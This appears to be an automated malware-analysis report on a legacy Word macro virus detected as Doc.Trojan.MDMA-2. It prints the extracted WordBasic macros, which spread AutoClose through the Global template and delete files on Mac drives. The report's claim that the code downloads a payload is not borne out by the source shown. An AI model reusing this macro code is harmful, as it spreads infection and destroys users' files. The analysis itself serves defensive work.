Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e745eb6bd09409e1…

MALICIOUS

Office (OLE)

29.5 KB Created: 1998-02-14 16:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7950c2bfc0572990fcc70aad71e6b21d SHA-1: 40d863a63c5cb130f3f3e447fcd5993e7b339673 SHA-256: e745eb6bd09409e1a9ea2c3b78729b4d66e4957dd812a2cb68cede2774d3e2c5
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macros, specifically an 'AutoClose' macro, which is a common indicator of older malware. The 'install' subroutine attempts to copy the 'AutoClose' macro to the global scope if it's not already present. The 'infect' subroutine contains logic that appears to be intended for downloading and executing a payload, though it is truncated. The ClamAV detection 'Doc.Trojan.MDMA-2' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.MDMA-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.MDMA-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6254 bytes
SHA-256: c25ecccfad26eedae12f8cd284c722c59ba76c87b0911f6cdaf45992f9db03ae
Detection
ClamAV: Doc.Trojan.MDMA-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public Sub MAIN()
    install
    infect
End Sub

Private Sub install()
Dim total
Dim installed
Dim i
    total = WordBasic.CountMacros(0)
    installed = 0
    If total > 0 Then
        For i = 1 To total
            If WordBasic.[MacroName$](i, 0) = "AutoClose" Then
                installed = 1
            End If
        Next
    End If
    If installed = 0 Then
        WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoClose", "Global:AutoClose"
    Else
        total = WordBasic.CountMacros(1)
        installed = 0
        If total > 0 Then
            For i = 1 To total
                If WordBasic.[MacroName$](i, 1) = "AutoClose" Then
                    installed = 1
                End If
            Next
        End If
        If installed = 0 Then
            WordBasic.FileSaveAs Format:=1
            WordBasic.MacroCopy "Global:AutoClose", WordBasic.[WindowName$]() + ":AutoClose"
        End If
    End If
End Sub

Private Sub infect()
Dim count_
Dim i
    If (WordBasic.[GetSystemInfo$](21) = " indows" Or WordBasic.[GetSystemInfo$](21) = "Windows NT") Then
        Open "c:\shmk." For Append As 1
        If LOF(1) <> 4 And WordBasic.Day(WordBasic.Now()) > 20 Then
            
        End If
        Close 1
    End If

    If Mid(WordBasic.[AppInfo$](21), 1, 3) = "Mac" And WordBasic.Day(WordBasic.Now()) > 4 Then
        WordBasic.ChDir "HD:"
        count_ = WordBasic.CountDirectories()
        For i = 1 To count_
            WordBasic.ChDir "HD" + WordBasic.[GetDirectory$](1)
            WordBasic.Kill WordBasic.[MacID$]("****")
            WordBasic.ChDir "HD:"
        Next
    End If
End Sub

' Processing file: /opt/analyzer/scan_staging/8220571439c94b8390599f964feac429.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/NewMacros - 3524 bytes
' Line #0:
' 	FuncDefn (Public Sub MAIN())
' Line #1:
' 	ArgsCall install 0x0000 
' Line #2:
' 	ArgsCall infect 0x0000 
' Line #3:
' 	EndSub 
' Line #4:
' Line #5:
' 	FuncDefn (Private Sub install())
' Line #6:
' 	Dim 
' 	VarDefn total
' Line #7:
' 	Dim 
' 	VarDefn installed
' Line #8:
' 	Dim 
' 	VarDefn i
' Line #9:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	St total 
' Line #10:
' 	LitDI2 0x0000 
' 	St installed 
' Line #11:
' 	Ld total 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #12:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld total 
' 	For 
' Line #13:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	IfBlock 
' Line #14:
' 	LitDI2 0x0001 
' 	St installed 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	StartForVariable 
' 	Next 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	Ld installed 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	Ld WordBasic 
' 	ArgsMemLd [WindowName$] 0x0000 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #20:
' 	ElseBlock 
' Line #21:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	St total 
' Line #22:
' 	LitDI2 0x0000 
' 	St installed 
' Line #23:
' 	Ld total 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #24:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld total 
' 	For 
' Line #25:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	IfBlock 
' Line #26:
' 	LitDI2 0x0001 
' 	St installed 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	StartForVariable 
' 	Next 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	Ld installed 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #31:
' 	LitDI2 0x0001 
' 	ParamNamed Fo
... (truncated)

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